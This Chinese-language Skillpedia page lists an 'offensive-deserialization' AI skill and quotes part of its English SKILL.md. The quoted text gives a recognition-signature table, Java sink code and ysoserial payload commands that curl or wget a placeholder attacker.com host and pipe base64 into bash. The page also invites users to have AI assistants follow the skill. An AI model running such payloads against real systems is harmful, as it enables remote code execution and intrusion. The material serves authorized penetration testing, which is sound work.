跳到正文
Skillpedia
安全10k · #11976

offensive-deserialization

它能做什么

这个技能解释不安全反序列化缺陷,即应用从不可信数据重建对象。它说明如何在主流编程语言中识别有风险的入口。适合在获得许可的情况下测试应用的安全专业人员。

适用场景

  • ✓授权测试显示应用在 Cookie、请求或消息中接受序列化数据的时候。
  • ✓你想识别应用中序列化对象所用的语言和格式的时候。
  • ✓你需要向开发者说明不安全反序列化风险的时候。

技能链接

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-deserialization/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-deserialization/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们已获得授权测试我们的 Java 应用。请找出它在哪里反序列化用户数据,并说明风险。”

每周 5 个新技能,1 分钟读完。

工作原理

这个技能找出所有接受序列化数据的入口,识别其格式和语言,然后评估风险。它先用无害的执行证明开始,并记录完整的攻击链。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Offensive Deserialization

Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.

Quick Workflow

  1. Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
  2. Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
  3. Determine the server-side language and framework version from error pages, HTTP headers, or source code.
  4. Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
  5. Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
  6. Escalate from proof-of-concept to the engagement objective with authorization.
  7. Document the full chain: entry point, format, gadget chain, library versions, proof.

Recognition Signatures

Format Signature Notes
Java ObjectInputStream Hex ac ed 00 05, Base64 rO0AB Cookies, POST bodies, JMX/RMI streams
PHP serialize O:<len>:"ClassName": or a:<count>:{ Frequently Base64-wrapped in cookies
.NET BinaryFormatter Base64 AAEAAAD///// ViewState, remoting, session state
Python pickle Opcodes \x80\x04\x95 (v4+), older (dp0 text Redis caches, Celery tasks, ML pipelines
Ruby Marshal \x04\x08 leading bytes Session cookies in older Rails apps
YAML (any lang) --- !ruby/object: or !!python/object/apply: Tag-based instantiation
Java XMLDecoder <?xml with <java> or <object class= Legacy Java admin panels
.NET Json.NET "$type": key in JSON TypeNameHandling != None
Java Jackson ["class.name", { JSON array wrapper enableDefaultTyping / polymorphic handling

Java Deserialization

ObjectInputStream.readObject() instantiates arbitrary classes present on the classpath. Decades of library code provide usable gadget chains.

Identifying Sinks

// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated

serialVersionUID and Classpath Constraints

Every serializable Java class carries a serialVersionUID. A mismatch causes InvalidClassException before any gadget logic executes. Extract the server's UID from error messages or decompiled JARs, then rebuild the payload with ysoserial's source. The UID often changes only on major releases, so brute-forcing common versions is feasible when the exact version is unknown.

ysoserial Gadget Chains

Match the chain to libraries present on the target classpath.

# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in ma
常见问题

它只涵盖一种语言吗?

不是。它涵盖 Java、PHP、.NET、Python、Node.js 和 Ruby。

它会使用有害的证明吗?

这个技能在任何进一步步骤之前,先使用非破坏性的证明,例如仅 DNS 检查。

这只用于授权测试吗?

是的。它是为有书面许可的测试而编写的。

详情

作者的原始描述

Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces including Kubernetes admission webhooks and message queue consumers, WAF bypass through encoding laye

repo: SnailSploit/Claude-Red

热度

GitHub 星标
10k
排名
#11976
许可证
MIT
更新时间
2026/10/12

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能